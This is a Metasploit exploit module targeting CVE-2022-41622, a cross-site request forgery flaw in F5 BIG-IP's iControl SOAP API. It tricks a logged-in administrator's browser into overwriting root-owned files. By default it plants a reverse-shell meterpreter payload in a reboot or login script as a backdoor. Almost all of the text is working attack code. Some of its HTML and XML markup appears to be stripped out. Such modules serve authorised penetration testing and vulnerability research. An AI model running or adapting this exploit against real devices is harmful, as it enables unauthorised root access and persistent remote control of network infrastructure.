## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'F5 BIG-IP iControl CSRF File Write SOAP API', 'Description' => %q{ This module exploits a cross-site request forgery (CSRF) vulnerability in F5 Big-IP's iControl interface to write an arbitrary file to the filesystem. While any file can be written to any location as root, the exploitability is limited by SELinux; the vast majority of writable locations are unavailable. By default, we write to a script that executes at reboot, which means the payload will execute the next time the server boots. An alternate target - Login - will add a backdoor that executes next time a user logs in interactively. This overwrites a file, but we restore it when we get a session Note that because this is a CSRF vulnerability, it starts a web server, but an authenticated administrator must visit the site, which redirects them to the target. }, 'Author' => [ 'Ron Bowes' # Discovery, PoC, and module ], 'References' => [ ['CVE', '2022-41622'], ['URL', 'https://github.com/rbowes-r7/refreshing-soap-exploit'], ['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'], ['URL', 'https://support.f5.com/csp/article/K97843387'], ['URL', 'https://support.f5.com/csp/article/K94221585'], ['URL', 'https://support.f5.com/csp/article/K05403841'], ], 'License' => MSF_LICENSE, 'DisclosureDate' => '2022-11-16', # Vendor advisory 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Type' => :unix_cmd, 'Privileged' => true, 'Targets' => [ [ 'Restart', {}, ], [ 'Login', {}, ], [ 'Custom', {}, ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) register_options( [ OptString.new('TARGET_HOST', [true, 'The IP or domain name of the target F5 device']), OptString.new('TARGET_URI', [true, 'The URI of the SOAP API', '/iControl/iControlPortal.cgi']), OptBool.new('TARGET_SSL', [true, 'Use SSL for the upstream connection?', true]), OptString.new('FILENAME', [false, 'The file on the target to overwrite (for "custom" target) - note that SELinux prevents overwriting a great deal of useful files']), ] ) end def on_request_uri(socket, _request) if datastore['TARGET'] == 0 # restart filename = '/shared/f5_update_action' file_payload = <<~EOT UpdateAction https://localhost/success`#{payload.encoded}` https://localhost/error 0 0 0 0 EOT # Delete the logfile if we get a session register_file_for_cleanup('/var/log/f5_update_checker.out') print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come approximately 2 minutes after the target is rebooted") elsif datastore['TARGET'] == 1 # login filename = '/var/run/config/timeout.sh' file_payload = "#{payload.encoded} & disown;" # Delete the backdoored file if we get a session.. this will be fixed at # next reboot register_file_for_cleanup('/var/run/config/timeout.sh') print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come the next time a user logs in interactively") else # Custom filename = datastore['FILENAME'] file_payload = payload.encoded print_status("Redirecting the admin to overwrite #{filename} with the payload") end # Build the SOAP request that'll be sent to the target server csrf_payload = %( #{filename} #{Rex::Text.encode_base64(file_payload)} FILE_FIRST_AND_LAST ) # Build the target URL target_url = "#{datastore['TARGET_SSL'] ? 'https' : 'http'}://#{datastore['TARGET_HOST']}#{datastore['TARGET_URI']}" # Build the HTML payload that'll send the SOAP request via the user's browser html_payload = %(
) # Send the HTML to the browser send_response(socket, html_payload, { 'Content-Type' => 'text/html' }) end def exploit # Sanity check if datastore['TARGET'] == 2 && (!datastore['FILENAME'] || datastore['FILENAME'].empty?) fail_with(Failure::BadConfig, 'For custom targets, please provide the FILENAME') end print_good('Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below') super end end